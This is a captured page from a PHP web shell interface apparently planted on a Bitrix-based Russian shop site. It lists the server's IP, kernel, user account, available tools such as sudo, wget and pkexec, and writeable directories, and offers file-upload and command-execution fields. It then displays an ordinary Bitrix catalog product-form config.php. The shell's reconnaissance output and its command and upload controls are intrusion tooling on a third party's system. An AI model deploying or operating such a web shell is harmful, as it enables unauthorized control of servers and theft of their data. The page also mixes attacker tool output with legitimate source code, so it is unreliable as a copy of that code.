403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/catalog/product-form/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/catalog/product-form/config.php
<?php

use Bitrix\Catalog\Config\State;
use Bitrix\Main\Loader;

if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}
$currencyId = '';
$currencySymbol = '';
if (\Bitrix\Main\Loader::includeModule('currency'))
{
	$currencyId = \Bitrix\Currency\CurrencyManager::getBaseCurrency();
	$format = \CCurrencyLang::GetFormatDescription($currencyId);
	$currencySymbol = isset($format['FORMAT_STRING']) ? trim(\CCurrencyLang::applyTemplate('', $format['FORMAT_STRING'])) : '';
}

$basePriceId = null;
$hasLandingStore = false;
$isEnabledLanding = false;
$isLimitedLanding = false;
$isCatalogAccess = false;
$isCatalogSettingAccess = false;
$isCatalogPriceEditEnabled = false;
$isCatalogPriceSaveEnabled = false;
$isCatalogDiscountSetEnabled = false;

if (Loader::includeModule('catalog'))
{
	$baseGroup = \CCatalogGroup::GetBaseGroup();
	$basePriceId = (is_array($baseGroup) && isset($baseGroup['ID'])) ? (int)$baseGroup['ID'] : null;

	if (\Bitrix\Main\Loader::includeModule('landing'))
	{
		$isEnabledLanding = true;
		$hasLandingStore = Bitrix\Catalog\v2\Integration\Landing\StoreV3Master::hasStore();
		$isLimitedLanding = !$hasLandingStore && !Bitrix\Catalog\v2\Integration\Landing\StoreV3Master::canCreate();
	}

	$accessController = \Bitrix\Catalog\Access\AccessController::getCurrent();

	$isCatalogPriceEditEnabled = $accessController->check(\Bitrix\Catalog\Access\ActionDictionary::ACTION_PRICE_ENTITY_EDIT);
	$isCatalogPriceSaveEnabled = $accessController->check(\Bitrix\Catalog\Access\ActionDictionary::ACTION_PRICE_EDIT);
	$isCatalogDiscountSetEnabled = $accessController->check(\Bitrix\Catalog\Access\ActionDictionary::ACTION_PRODUCT_DISCOUNT_SET);
	$isCatalogSettingAccess = $accessController->check(\Bitrix\Catalog\Access\ActionDictionary::ACTION_CATALOG_SETTINGS_ACCESS);
	$isCatalogAccess = $accessController->check(\Bitrix\Catalog\Access\ActionDictionary::ACTION_CATALOG_READ);
}

return [
	'css' => 'dist/product-form.bundle.css',
	'js' => 'dist/product-form.bundle.js',
	'rel' => [
		'ui.design-tokens',
		'ui.fonts.opensans',
		'currency',
		'ui.layout-form',
		'ui.forms',
		'ui.buttons',
		'ui.common',
		'ui.alerts',
		'catalog.product-selector',
		'ui.entity-selector',
		'catalog.product-model',
		'ui.vue.vuex',
		'main.popup',
		'main.loader',
		'ui.label',
		'ui.messagecard',
		'ui.vue.components.hint',
		'ui.notification',
		'ui.info-helper',
		'main.qrcode',
		'clipboard',
		'helper',
		'ui.hint',
		'ui.dialogs.messagebox',
		'ui.vue',
		'main.core',
		'main.core.events',
		'currency.currency-core',
		'catalog.product-calculator',
	],
	'settings' => [
		'warehouseOption' => State::isUsedInventoryManagement(),
		'showDiscountBlock' => \CUserOptions::GetOption('catalog.product-form', 'showDiscountBlock', 'Y'),
		'showTaxBlock' => 'N',
		'taxIncluded' => 'N',
		'currency' => $currencyId,
		'currencySymbol' => $currencySymbol,
		'isEnabledLanding' => $isEnabledLanding,
		'hasLandingStore' => $hasLandingStore,
		'isLimitedLandingStore' => $isLimitedLanding,
		'basePriceId' => $basePriceId,
		'isCatalogDiscountSetEnabled' => $isCatalogDiscountSetEnabled,
		'isCatalogPriceEditEnabled' => $isCatalogPriceEditEnabled,
		'isCatalogPriceSaveEnabled' => $isCatalogPriceSaveEnabled,
		'isCatalogSettingAccess' => $isCatalogSettingAccess,
		'isCatalogAccess' => $isCatalogAccess,
		'isCatalogHidden' => \Bitrix\Catalog\Config\State::isExternalCatalog(),
		'fieldHints' => [],
	],
	'skip_core' => false,
];

Youez - 2016 - github.com/yon3zu
LinuXploit